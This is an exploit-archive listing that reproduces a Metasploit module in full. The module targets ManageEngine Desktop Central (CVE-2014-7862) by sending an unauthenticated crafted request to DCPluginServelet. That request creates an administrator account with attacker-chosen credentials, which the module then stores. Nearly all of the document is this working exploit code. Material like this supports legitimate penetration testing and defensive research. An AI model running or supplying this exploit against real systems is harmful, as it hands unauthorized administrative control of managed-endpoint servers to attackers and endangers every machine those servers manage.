ManageEngine Desktop Central Administrator Account Creation Exploit

2015-01-06T00:00:00
ID 1337DAY-ID-23075
Type zdt
Reporter metasploit
Modified 2015-01-06T00:00:00

Description

This module exploits an administrator account creation vulnerability in Desktop Central from v7 onwards by sending a crafted request to DCPluginServelet. It has been tested in several versions of Desktop Central (including MSP) from v7 onwards.

                                        
                                            ##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::Report
def initialize(info = {})
super(update_info(info,
'Name' => 'ManageEngine Desktop Central Administrator Account Creation',
'Description' => %q{
This module exploits an administrator account creation vulnerability in Desktop Central
from v7 onwards by sending a crafted request to DCPluginServelet. It has been tested in
several versions of Desktop Central (including MSP) from v7 onwards.
},
'Author' =>
[
'Pedro Ribeiro <pedrib[at]gmail.com>' # Vulnerability discovery and MSF module
],
'License' => MSF_LICENSE,
'References' =>
[
['CVE', '2014-7862'],
['OSVDB', '116554'],
['URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/ManageEngine/me_dc9_admin.txt'],
['URL', 'http://seclists.org/fulldisclosure/2015/Jan/2']
],
'DisclosureDate' => 'Dec 31 2014'))
register_options(
[
OptPort.new('RPORT', [true, 'The target port', 8020]),
OptString.new('TARGETURI', [ true, 'ManageEngine Desktop Central URI', '/']),
OptString.new('USERNAME', [true, 'The username for the new admin account', 'msf']),
OptString.new('PASSWORD', [true, 'The password for the new admin account', 'password']),
OptString.new('EMAIL', [true, 'The email for the new admin account', '[email protected]'])
], self.class)
end
def run
# Generate password hash
salt = Time.now.to_i.to_s
password_encoded = Rex::Text.encode_base64([Rex::Text.md5(datastore['PASSWORD'] + salt)].pack('H*'))
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, "/servlets/DCPluginServelet"),
'method' =>'GET',
'vars_get' => {
'action' => 'addPlugInUser',
'role' => 'DCAdmin',
'userName' => datastore['USERNAME'],
'email' => datastore['EMAIL'],
'phNumber' => Rex::Text.rand_text_numeric(6),
'password' => password_encoded,
'salt' => salt,
'createdtime' => salt
}
})
# Yes, "sucess" is really mispelt, as is "Servelet" ... !
unless res && res.code == 200 && res.body && res.body.to_s =~ /sucess/
print_error("#{peer} - Administrator account creation failed")
end
print_good("#{peer} - Created Administrator account with credentials #{datastore['USERNAME']}:#{datastore['PASSWORD']}")
service_data = {
address: rhost,
port: rport,
service_name: (ssl ? 'https' : 'http'),
protocol: 'tcp',
workspace_id: myworkspace_id
}
credential_data = {
origin_type: :service,
module_fullname: self.fullname,
private_type: :password,
private_data: datastore['PASSWORD'],
username: datastore['USERNAME']
}
credential_data.merge!(service_data)
credential_core = create_credential(credential_data)
login_data = {
core: credential_core,
access_level: 'Administrator',
status: Metasploit::Model::Login::Status::UNTRIED
}
login_data.merge!(service_data)
create_credential_login(login_data)
end
end

#  0day.today [2018-04-12]  #